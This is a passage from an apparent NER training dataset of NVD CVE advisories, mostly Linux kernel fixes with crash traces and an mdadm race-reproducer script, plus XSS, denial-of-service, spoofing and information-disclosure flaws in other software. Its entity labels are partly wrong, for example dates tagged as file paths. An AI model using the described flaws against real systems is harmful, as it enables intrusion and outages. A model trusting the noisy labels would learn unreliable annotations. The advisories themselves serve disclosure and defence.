sysfs\ninterfaces.\n\nEach function still should check the session status because closing or\nerror recovery paths can change the status.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[905, 919]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47026"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix NULL pointer dereference in ocfs2_journal_dirty()\n\nbdev->bd_super has been removed and commit 8887b94d9322 change the usage\nfrom bdev->bd_super to b_assoc_map->host->i_sb.  This introduces the\nfollowing NULL pointer dereference in ocfs2_journal_dirty() since\nb_assoc_map is still not initialized.  This can be easily reproduced by\nrunning xfstests generic/186, which simulate no more credits.\n\n[  134.351592] BUG: kernel NULL pointer dereference, address: 0000000000000000\n...\n[  134.355341] RIP: 0010:ocfs2_journal_dirty+0x14f/0x160 [ocfs2]\n...\n[  134.365071] Call Trace:\n[  134.365312]  <TASK>\n[  134.365524]  ? __die_body+0x1e/0x60\n[  134.365868]  ? page_fault_oops+0x13d/0x4f0\n[  134.366265]  ? __pfx_bit_wait_io+0x10/0x10\n[  134.366659]  ? schedule+0x27/0xb0\n[  134.366981]  ? exc_page_fault+0x6a/0x140\n[  134.367356]  ? asm_exc_page_fault+0x26/0x30\n[  134.367762]  ? ocfs2_journal_dirty+0x14f/0x160 [ocfs2]\n[  134.368305]  ? ocfs2_journal_dirty+0x13d/0x160 [ocfs2]\n[  134.368837]  ocfs2_create_new_meta_bhs.isra.51+0x139/0x2e0 [ocfs2]\n[  134.369454]  ocfs2_grow_tree+0x688/0x8a0 [ocfs2]\n[  134.369927]  ocfs2_split_and_insert.isra.67+0x35c/0x4a0 [ocfs2]\n[  134.370521]  ocfs2_split_extent+0x314/0x4d0 [ocfs2]\n[  134.371019]  ocfs2_change_extent_flag+0x174/0x410 [ocfs2]\n[  134.371566]  ocfs2_add_refcount_flag+0x3fa/0x630 [ocfs2]\n[  134.372117]  ocfs2_reflink_remap_extent+0x21b/0x4c0 [ocfs2]\n[  134.372994]  ? inode_update_timestamps+0x4a/0x120\n[  134.373692]  ? __pfx_ocfs2_journal_access_di+0x10/0x10 [ocfs2]\n[  134.374545]  ? __pfx_ocfs2_journal_access_di+0x10/0x10 [ocfs2]\n[  134.375393]  ocfs2_reflink_remap_blocks+0xe4/0x4e0 [ocfs2]\n[  134.376197]  ocfs2_remap_file_range+0x1de/0x390 [ocfs2]\n[  134.376971]  ? security_file_permission+0x29/0x50\n[  134.377644]  vfs_clone_file_range+0xfe/0x320\n[  134.378268]  ioctl_file_clone+0x45/0xa0\n[  134.378853]  do_vfs_ioctl+0x457/0x990\n[  134.379422]  __x64_sys_ioctl+0x6e/0xd0\n[  134.379987]  do_syscall_64+0x5d/0x170\n[  134.380550]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  134.381231] RIP: 0033:0x7fa4926397cb\n[  134.381786] Code: 73 01 c3 48 8b 0d bd 56 38 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 8d 56 38 00 f7 d8 64 89 01 48\n[  134.383930] RSP: 002b:00007ffc2b39f7b8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n[  134.384854] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 00007fa4926397cb\n[  134.385734] RDX: 00007ffc2b39f7f0 RSI: 000000004020940d RDI: 0000000000000003\n[  134.386606] RBP: 0000000000000000 R08: 00111a82a4f015bb R09: 00007fa494221000\n[  134.387476] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\n[  134.388342] R13: 0000000000f10000 R14: 0000558e844e2ac8 R15: 0000000000f10000\n[  134.389207]  </TASK>\n\nFix it by only aborting transaction and journal in ocfs2_journal_dirty()\nnow, and leave ocfs2_abort() later when detecting an aborted handle,\ne.g. start next transaction. Also log the handle details in this case.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[80, 104], [283, 307], [501, 525]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40952"}}
{"text": "OpenSTAManager is an open source management software for technical assistance and invoicing. OpenSTAManager v2.9.8 and earlier contains Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.", "spans": {"FILEPATH: /order/contract": [[176, 191]], "VULNERABILITY: Reflected XSS": [[136, 149]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24415"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ufs: ufs-qcom: Fix UFS OCP issue during UFS power down (PC=3)\n\nAccording to UFS specifications, the power-off sequence for a UFS device\nincludes:\n\n - Sending an SSU command with Power_Condition=3 and await a response.\n\n - Asserting RST_N low.\n\n - Turning off REF_CLK.\n\n - Turning off VCC.\n\n - Turning off VCCQ/VCCQ2.\n\nAs part of ufs shutdown, after the SSU command completion, asserting\nhardware reset (HWRST) triggers the device firmware to wake up and\nexecute its reset routine. This routine initializes hardware blocks and\ntakes a few milliseconds to complete. During this time, the ICCQ draws a\nlarge current.\n\nThis large ICCQ current may cause issues for the regulator which is\nsupplying power to UFS, because the turn off request from UFS driver to\nthe regulator framework will be immediately followed by low power\nmode(LPM) request by regulator framework. This is done by framework\nbecause UFS which is the only client is requesting for disable. So if\nthe rail is still in the process of shutting down while ICCQ exceeds LPM\ncurrent thresholds, and LPM mode is activated in hardware during this\nstate, it may trigger an overcurrent protection (OCP) fault in the\nregulator.\n\nTo prevent this, a 10ms delay is added after asserting HWRST. This\nallows the reset operation to complete while power rails remain active\nand in high-power mode.\n\nCurrently there is no way for Host to query whether the reset is\ncompleted or not and hence this the delay is based on experiments with\nQualcomm UFS controllers across multiple UFS vendors.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Qualcomm": [[1555, 1563]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68236"}}
{"text": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Versions 0.60.0 through 1.0.0, 1.1.0 through 1.3.2, 1.4.0 through 1.6.0, 1.7.0 through 1.9.0, 1.10.0, and 1.10.1 have a denial-of-service vulnerability in that allows any user who can create a TaskRun or PipelineRun to crash the controller cluster-wide by setting .spec.taskRef.resolver (or .spec.pipelineRef.resolver) to a string of 31+ characters. The crash occurs because GenerateDeterministicNameFromSpec produces a name exceeding the 63-character DNS-1123 label limit, and its truncation logic panics on a [-1] slice bound since the generated name contains no spaces. Once crashed, the controller enters a CrashLoopBackOff on restart (as it re-reconciles the offending resource), blocking all CI/CD reconciliation until the resource is manually deleted. Built-in resolvers (git, cluster, bundles, hub) are unaffected due to their short names, but any custom resolver name triggers the bug. The fix truncates the resolver-name prefix instead of the full string, preserving the hash suffix for determinism and uniqueness. This issue has been patched in versions 1.0.1, 1.3.3, 1.6.1, 1.9.2 and 1.10.2.", "spans": {"VULNERABILITY: denial-of-service": [[211, 228]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33022"}}
{"text": "A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions), SIPROTEC 5 6MD85 (CP200) (All versions), SIPROTEC 5 6MD85 (CP300) (All versions), SIPROTEC 5 6MD86 (CP200) (All versions), SIPROTEC 5 6MD86 (CP300) (All versions), SIPROTEC 5 6MD89 (CP300) (All versions), SIPROTEC 5 6MU85 (CP300) (All versions), SIPROTEC 5 7KE85 (CP200) (All versions), SIPROTEC 5 7KE85 (CP300) (All versions), SIPROTEC 5 7SA82 (CP100) (All versions), SIPROTEC 5 7SA82 (CP150) (All versions), SIPROTEC 5 7SA86 (CP200) (All versions), SIPROTEC 5 7SA86 (CP300) (All versions), SIPROTEC 5 7SA87 (CP200) (All versions), SIPROTEC 5 7SA87 (CP300) (All versions), SIPROTEC 5 7SD82 (CP100) (All versions), SIPROTEC 5 7SD82 (CP150) (All versions), SIPROTEC 5 7SD86 (CP200) (All versions), SIPROTEC 5 7SD86 (CP300) (All versions), SIPROTEC 5 7SD87 (CP200) (All versions), SIPROTEC 5 7SD87 (CP300) (All versions), SIPROTEC 5 7SJ81 (CP100) (All versions), SIPROTEC 5 7SJ81 (CP150) (All versions), SIPROTEC 5 7SJ82 (CP100) (All versions), SIPROTEC 5 7SJ82 (CP150) (All versions), SIPROTEC 5 7SJ85 (CP200) (All versions), SIPROTEC 5 7SJ85 (CP300) (All versions), SIPROTEC 5 7SJ86 (CP200) (All versions), SIPROTEC 5 7SJ86 (CP300) (All versions), SIPROTEC 5 7SK82 (CP100) (All versions), SIPROTEC 5 7SK82 (CP150) (All versions), SIPROTEC 5 7SK85 (CP200) (All versions), SIPROTEC 5 7SK85 (CP300) (All versions), SIPROTEC 5 7SL82 (CP100) (All versions), SIPROTEC 5 7SL82 (CP150) (All versions), SIPROTEC 5 7SL86 (CP200) (All versions), SIPROTEC 5 7SL86 (CP300) (All versions), SIPROTEC 5 7SL87 (CP200) (All versions), SIPROTEC 5 7SL87 (CP300) (All versions), SIPROTEC 5 7SS85 (CP200) (All versions), SIPROTEC 5 7SS85 (CP300) (All versions), SIPROTEC 5 7ST85 (CP200) (All versions), SIPROTEC 5 7ST85 (CP300) (All versions), SIPROTEC 5 7ST86 (CP300) (All versions), SIPROTEC 5 7SX82 (CP150) (All versions), SIPROTEC 5 7SX85 (CP300) (All versions), SIPROTEC 5 7SY82 (CP150) (All versions), SIPROTEC 5 7UM85 (CP300) (All versions), SIPROTEC 5 7UT82 (CP100) (All versions), SIPROTEC 5 7UT82 (CP150) (All versions), SIPROTEC 5 7UT85 (CP200) (All versions), SIPROTEC 5 7UT85 (CP300) (All versions), SIPROTEC 5 7UT86 (CP200) (All versions), SIPROTEC 5 7UT86 (CP300) (All versions), SIPROTEC 5 7UT87 (CP200) (All versions), SIPROTEC 5 7UT87 (CP300) (All versions), SIPROTEC 5 7VE85 (CP300) (All versions), SIPROTEC 5 7VK87 (CP200) (All versions), SIPROTEC 5 7VK87 (CP300) (All versions), SIPROTEC 5 7VU85 (CP300) (All versions), SIPROTEC 5 Compact 7SX800 (CP050) (All versions). Affected devices do not encrypt certain data within the on-board flash storage on their PCB.  This could allow an attacker with physical access to read the entire filesystem of the device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53651"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmd: don't dereference mddev after export_rdev()\n\nExcept for initial reference, mddev->kobject is referenced by\nrdev->kobject, and if the last rdev is freed, there is no guarantee that\nmddev is still valid. Hence mddev should not be used anymore after\nexport_rdev().\n\nThis problem can be triggered by following test for mdadm at very\nlow rate:\n\nNew file: mdadm/tests/23rdev-lifetime\n\ndevname=${dev0##*/}\ndevt=`cat /sys/block/$devname/dev`\npid=\"\"\nruntime=2\n\nclean_up_test() {\n        pill -9 $pid\n        echo clear > /sys/block/md0/md/array_state\n}\n\ntrap 'clean_up_test' EXIT\n\nadd_by_sysfs() {\n        while true; do\n                echo $devt > /sys/block/md0/md/new_dev\n        done\n}\n\nremove_by_sysfs(){\n        while true; do\n                echo remove > /sys/block/md0/md/dev-${devname}/state\n        done\n}\n\necho md0 > /sys/module/md_mod/parameters/new_array || die \"create md0 failed\"\n\nadd_by_sysfs &\npid=\"$pid $!\"\n\nremove_by_sysfs &\npid=\"$pid $!\"\n\nsleep $runtime\nexit 0\n\nTest cmd:\n\n./test --save-logs --logdir=/tmp/ --keep-going --dev=loop --tests=23rdev-lifetime\n\nTest result:\n\ngeneral protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6bcb: 0000 [#4] PREEMPT SMP\nCPU: 0 PID: 1292 Comm: test Tainted: G      D W          6.5.0-rc2-00121-g01e55c376936 #562\nRIP: 0010:md_wakeup_thread+0x9e/0x320 [md_mod]\nCall Trace:\n <TASK>\n mddev_unlock+0x1b6/0x310 [md_mod]\n rdev_attr_store+0xec/0x190 [md_mod]\n sysfs_kf_write+0x52/0x70\n kernfs_fop_write_iter+0x19a/0x2a0\n vfs_write+0x3b5/0x770\n ksys_write+0x74/0x150\n __x64_sys_write+0x22/0x30\n do_syscall_64+0x40/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nFix this problem by don't dereference mddev after export_rdev().", "spans": {"FILEPATH: /tests/23rdev-lifetime": [[428, 450]], "FILEPATH: /sys/block": [[482, 492]], "FILEPATH: /sys/block/md0/md/array_state": [[585, 614]], "FILEPATH: /sys/block/md0/md/new_dev": [[714, 739]], "FILEPATH: /sys/block/md0/md/dev-": [[828, 850]], "FILEPATH: /sys/module/md_mod/parameters/new_array": [[894, 933]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53665"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_codec: Fix leaking content of local_codecs\n\nThe following memory leak can be observed when the controller supports\ncodecs which are stored in local_codecs list but the elements are never\nfreed:\n\nunreferenced object 0xffff88800221d840 (size 32):\n  comm \"kworker/u3:0\", pid 36, jiffies 4294898739 (age 127.060s)\n  hex dump (first 32 bytes):\n    f8 d3 02 03 80 88 ff ff 80 d8 21 02 80 88 ff ff  ..........!.....\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffffb324f557>] __kmalloc+0x47/0x120\n    [<ffffffffb39ef37d>] hci_codec_list_add.isra.0+0x2d/0x160\n    [<ffffffffb39ef643>] hci_read_codec_capabilities+0x183/0x270\n    [<ffffffffb39ef9ab>] hci_read_supported_codecs+0x1bb/0x2d0\n    [<ffffffffb39f162e>] hci_read_local_codecs_sync+0x3e/0x60\n    [<ffffffffb39ff1b3>] hci_dev_open_sync+0x943/0x11e0\n    [<ffffffffb396d55d>] hci_power_on+0x10d/0x3f0\n    [<ffffffffb30c99b4>] process_one_work+0x404/0x800\n    [<ffffffffb30ca134>] worker_thread+0x374/0x670\n    [<ffffffffb30d9108>] kthread+0x188/0x1c0\n    [<ffffffffb304db6b>] ret_from_fork+0x2b/0x50\n    [<ffffffffb300206a>] ret_from_fork_asm+0x1a/0x30", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[142, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52518"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: ip_tunnel: Fix suspicious RCU usage warning in ip_tunnel_init_flow()\n\nThere are code paths from which the function is called without holding\nthe RCU read lock, resulting in a suspicious RCU usage warning [1].\n\nFix by using l3mdev_master_upper_ifindex_by_index() which will acquire\nthe RCU read lock before calling\nl3mdev_master_upper_ifindex_by_index_rcu().\n\n[1]\nWARNING: suspicious RCU usage\n6.12.0-rc3-custom-gac8f72681cf2 #141 Not tainted\n-----------------------------\nnet/core/dev.c:876 RCU-list traversed in non-reader section!!\n\nother info that might help us debug this:\n\nrcu_scheduler_active = 2, debug_locks = 1\n1 lock held by ip/361:\n #0: ffffffff86fc7cb0 (rtnl_mutex){+.+.}-{3:3}, at: rtnetlink_rcv_msg+0x377/0xf60\n\nstack backtrace:\nCPU: 3 UID: 0 PID: 361 Comm: ip Not tainted 6.12.0-rc3-custom-gac8f72681cf2 #141\nHardware name: Bochs Bochs, BIOS Bochs 01/01/2011\nCall Trace:\n <TASK>\n dump_stack_lvl+0xba/0x110\n lockdep_rcu_suspicious.cold+0x4f/0xd6\n dev_get_by_index_rcu+0x1d3/0x210\n l3mdev_master_upper_ifindex_by_index_rcu+0x2b/0xf0\n ip_tunnel_bind_dev+0x72f/0xa00\n ip_tunnel_newlink+0x368/0x7a0\n ipgre_newlink+0x14c/0x170\n __rtnl_newlink+0x1173/0x19c0\n rtnl_newlink+0x6c/0xa0\n rtnetlink_rcv_msg+0x3cc/0xf60\n netlink_rcv_skb+0x171/0x450\n netlink_unicast+0x539/0x7f0\n netlink_sendmsg+0x8c1/0xd80\n ____sys_sendmsg+0x8f9/0xc20\n ___sys_sendmsg+0x197/0x1e0\n __sys_sendmsg+0x122/0x1f0\n do_syscall_64+0xbb/0x1d0\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /core/dev.c": [[550, 561]], "FILEPATH: /01/2011": [[940, 948]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53042"}}
{"text": "containerd is an open source container runtime. A bug was found in containerd's CRI implementation where a user can exhaust memory on the host. In the CRI stream server, a goroutine is launched to handle terminal resize events if a TTY is requested. If the user's process fails to launch due to, for example, a faulty command, the goroutine will be stuck waiting to send without a receiver, resulting in a memory leak. Kubernetes and crictl can both be configured to use containerd's CRI implementation and the stream server is used for handling container IO. This bug has been fixed in containerd 1.6.12 and 1.5.16.  Users should update to these versions to resolve the issue. Users unable to upgrade should ensure that only trusted images and commands are used and that only trusted users have permissions to execute commands in running containers.", "spans": {"SYSTEM: Kubernetes": [[419, 429]], "VULNERABILITY: memory leak": [[406, 417]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23471"}}
{"text": "Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.", "spans": {"VULNERABILITY: information disclosure": [[203, 225], [1325, 1347]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-69203"}}
{"text": "OpenClaw is a personal AI assistant. Prior to version 2026.2.15, `normalizeForHash` in `src/agents/sandbox/config-hash.ts` recursively sorted arrays that contained only primitive values. This made order-sensitive sandbox configuration arrays hash to the same value even when order changed. In OpenClaw sandbox flows, this hash is used to decide whether existing sandbox containers should be recreated. As a result, order-only config changes (for example Docker `dns` and `binds` array order) could be treated as unchanged and stale containers could be reused. This is a configuration integrity issue affecting sandbox recreation behavior. Starting in version 2026.2.15, array ordering is preserved during hash normalization; only object key ordering remains normalized for deterministic hashing.", "spans": {"FILEPATH: /agents/sandbox/config-hash.ts": [[91, 121]], "ORGANIZATION: Docker": [[454, 460]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27007"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. The MongoDB `explain()` method provides detailed information about query execution plans, including index usage, collection scanning behavior, and performance metrics. Prior to version 8.5.0-alpha.5, Parse Server permits any client to execute explain queries without requiring the master key. This exposes database schema structure and field names, index configurations and query optimization details, query execution statistics and performance metrics, and potential attack vectors for database performance exploitation. In version 8.5.0-alpha.5, a new `databaseOptions.allowPublicExplain` configuration option has been introduced that allows to restrict `explain` queries to the master key. The option defaults to `true` for now to avoid a breaking change in production systems that depends on public `explain` availability. In addition, a security warning is logged when the option is not explicitly set, or set to `true`. In a future major release of Parse Server, the default will change to `false`. As a workaround, implement middleware to block explain queries from non-master-key requests, or monitor and alert on explain query usage in production environments.", "spans": {"FILEPATH: Node.js": [[95, 102]], "SYSTEM: MongoDB": [[108, 115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64502"}}
{"text": "Post-Quantum Secure Feldman's Verifiable Secret Sharing provides a Python implementation of Feldman's Verifiable Secret Sharing (VSS) scheme. In versions 0.8.0b2 and prior, the `secure_redundant_execution` function in feldman_vss.py attempts to mitigate fault injection attacks by executing a function multiple times and comparing results. However, several critical weaknesses exist. Python's execution environment cannot guarantee true isolation between redundant executions, the constant-time comparison implementation in Python is subject to timing variations, the randomized execution order and timing provide insufficient protection against sophisticated fault attacks, and the error handling may leak timing information about partial execution results. These limitations make the protection ineffective against targeted fault injection attacks, especially from attackers with physical access to the hardware. A successful fault injection attack could allow an attacker to bypass the redundancy check mechanisms, extract secret polynomial coefficients during share generation or verification, force the acceptance of invalid shares during verification, and/or manipulate the commitment verification process to accept fraudulent commitments. This undermines the core security guarantees of the Verifiable Secret Sharing scheme. As of time of publication, no patched versions of Post-Quantum Secure Feldman's Verifiable Secret Sharing exist, but other mitigations are available. Long-term remediation requires reimplementing the security-critical functions in a lower-level language like Rust. Short-term mitigations include deploying the software in environments with physical security controls, increasing the redundancy count (from 5 to a higher number) by modifying the source code, adding external verification of cryptographic operations when possible, considering using hardware security modules (HSMs) for key operations.", "spans": {"FILEPATH: feldman_vss.py": [[218, 232]], "SYSTEM: Python": [[67, 73], [384, 390], [524, 530]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-29779"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: reject ro->rw reconfiguration if there are hard ro requirements\n\n[BUG]\nSyzbot reports the following crash:\n\n  BTRFS info (device loop0 state MCS): disabling free space tree\n  BTRFS info (device loop0 state MCS): clearing compat-ro feature flag for FREE_SPACE_TREE (0x1)\n  BTRFS info (device loop0 state MCS): clearing compat-ro feature flag for FREE_SPACE_TREE_VALID (0x2)\n  Oops: general protection fault, probably for non-canonical address 0xdffffc0000000003: 0000 [#1] PREEMPT SMP KASAN NOPTI\n  KASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n  RIP: 0010:backup_super_roots fs/btrfs/disk-io.c:1691 [inline]\n  RIP: 0010:write_all_supers+0x97a/0x40f0 fs/btrfs/disk-io.c:4041\n  Call Trace:\n   <TASK>\n   btrfs_commit_transaction+0x1eae/0x3740 fs/btrfs/transaction.c:2530\n   btrfs_delete_free_space_tree+0x383/0x730 fs/btrfs/free-space-tree.c:1312\n   btrfs_start_pre_rw_mount+0xf28/0x1300 fs/btrfs/disk-io.c:3012\n   btrfs_remount_rw fs/btrfs/super.c:1309 [inline]\n   btrfs_reconfigure+0xae6/0x2d40 fs/btrfs/super.c:1534\n   btrfs_reconfigure_for_mount fs/btrfs/super.c:2020 [inline]\n   btrfs_get_tree_subvol fs/btrfs/super.c:2079 [inline]\n   btrfs_get_tree+0x918/0x1920 fs/btrfs/super.c:2115\n   vfs_get_tree+0x90/0x2b0 fs/super.c:1800\n   do_new_mount+0x2be/0xb40 fs/namespace.c:3472\n   do_mount fs/namespace.c:3812 [inline]\n   __do_sys_mount fs/namespace.c:4020 [inline]\n   __se_sys_mount+0x2d6/0x3c0 fs/namespace.c:3997\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\n[CAUSE]\nTo support mounting different subvolume with different RO/RW flags for\nthe new mount APIs, btrfs introduced two workaround to support this feature:\n\n- Skip mount option/feature checks if we are mounting a different\n  subvolume\n\n- Reconfigure the fs to RW if the initial mount is RO\n\nCombining these two, we can have the following sequence:\n\n- Mount the fs ro,rescue=all,clear_cache,space_cache=v1\n  rescue=all will mark the fs as hard read-only, so no v2 cache clearing\n  will happen.\n\n- Mount a subvolume rw of the same fs.\n  We go into btrfs_get_tree_subvol(), but fc_mount() returns EBUSY\n  because our new fc is RW, different from the original fs.\n\n  Now we enter btrfs_reconfigure_for_mount(), which switches the RO flag\n  first so that we can grab the existing fs_info.\n  Then we reconfigure the fs to RW.\n\n- During reconfiguration, option/features check is skipped\n  This means we will restart the v2 cache clearing, and convert back to\n  v1 cache.\n  This will trigger fs writes, and since the original fs has \"rescue=all\"\n  option, it skips the csum tree read.\n\n  And eventually causing NULL pointer dereference in super block\n  writeback.\n\n[FIX]\nFor reconfiguration caused by different subvolume RO/RW flags, ensure we\nalways run btrfs_check_options() to ensure we have proper hard RO\nrequirements met.\n\nIn fact the function btrfs_check_options() doesn't really do many\ncomplex checks, but hard RO requirement and some feature dependency\nchecks, thus there is no special reason not to do the check for mount\nreconfiguration.", "spans": {"FILEPATH: /01/2014": [[737, 745]], "FILEPATH: /btrfs/disk-io.c": [[779, 795], [854, 870], [1089, 1105]], "FILEPATH: /btrfs/transaction.c": [[944, 964]], "FILEPATH: /btrfs/free-space-tree.c": [[1016, 1040]], "FILEPATH: /btrfs/super.c": [[1133, 1147], [1198, 1212], [1251, 1265], [1307, 1321], [1369, 1383]], "FILEPATH: /x86/entry/common.c": [[1640, 1659], [1704, 1723]], "FILEPATH: super.c": [[1419, 1426]], "FILEPATH: namespace.c": [[1463, 1474], [1495, 1506], [1542, 1553], [1601, 1612]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[662, 666]], "VULNERABILITY: NULL pointer dereference": [[2875, 2899]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50118"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: avoid possible NULL deref in modify_prefix_route()\n\nsyzbot found a NULL deref [1] in modify_prefix_route(), caused by one\nfib6_info without a fib6_table pointer set.\n\nThis can happen for net->ipv6.fib6_null_entry\n\n[1]\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000006: 0000 [#1] PREEMPT SMP KASAN NOPTI\nKASAN: null-ptr-deref in range [0x0000000000000030-0x0000000000000037]\nCPU: 1 UID: 0 PID: 5837 Comm: syz-executor888 Not tainted 6.12.0-syzkaller-09567-g7eef7e306d3c #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n RIP: 0010:__lock_acquire+0xe4/0x3c40 kernel/locking/lockdep.c:5089\nCode: 08 84 d2 0f 85 15 14 00 00 44 8b 0d ca 98 f5 0e 45 85 c9 0f 84 b4 0e 00 00 48 b8 00 00 00 00 00 fc ff df 4c 89 e2 48 c1 ea 03 <80> 3c 02 00 0f 85 96 2c 00 00 49 8b 04 24 48 3d a0 07 7f 93 0f 84\nRSP: 0018:ffffc900035d7268 EFLAGS: 00010006\nRAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000\nRDX: 0000000000000006 RSI: 1ffff920006bae5f RDI: 0000000000000030\nRBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000001\nR10: ffffffff90608e17 R11: 0000000000000001 R12: 0000000000000030\nR13: ffff888036334880 R14: 0000000000000000 R15: 0000000000000000\nFS:  0000555579e90380(0000) GS:ffff8880b8700000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffc59cc4278 CR3: 0000000072b54000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n  lock_acquire.part.0+0x11b/0x380 kernel/locking/lockdep.c:5849\n  __raw_spin_lock_bh include/linux/spinlock_api_smp.h:126 [inline]\n  _raw_spin_lock_bh+0x33/0x40 kernel/locking/spinlock.c:178\n  spin_lock_bh include/linux/spinlock.h:356 [inline]\n  modify_prefix_route+0x30b/0x8b0 net/ipv6/addrconf.c:4831\n  inet6_addr_modify net/ipv6/addrconf.c:4923 [inline]\n  inet6_rtm_newaddr+0x12c7/0x1ab0 net/ipv6/addrconf.c:5055\n  rtnetlink_rcv_msg+0x3c7/0xea0 net/core/rtnetlink.c:6920\n  netlink_rcv_skb+0x16b/0x440 net/netlink/af_netlink.c:2541\n  netlink_unicast_kernel net/netlink/af_netlink.c:1321 [inline]\n  netlink_unicast+0x53c/0x7f0 net/netlink/af_netlink.c:1347\n  netlink_sendmsg+0x8b8/0xd70 net/netlink/af_netlink.c:1891\n  sock_sendmsg_nosec net/socket.c:711 [inline]\n  __sock_sendmsg net/socket.c:726 [inline]\n  ____sys_sendmsg+0xaaf/0xc90 net/socket.c:2583\n  ___sys_sendmsg+0x135/0x1e0 net/socket.c:2637\n  __sys_sendmsg+0x16e/0x220 net/socket.c:2669\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fd1dcef8b79\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 c1 17 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffc59cc4378 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fd1dcef8b79\nRDX: 0000000000040040 RSI: 0000000020000140 RDI: 0000000000000004\nRBP: 00000000000113fd R08: 0000000000000006 R09: 0000000000000006\nR10: 0000000000000006 R11: 0000000000000246 R12: 00007ffc59cc438c\nR13: 431bde82d7b634db R14: 0000000000000001 R15: 0000000000000001\n </TASK>", 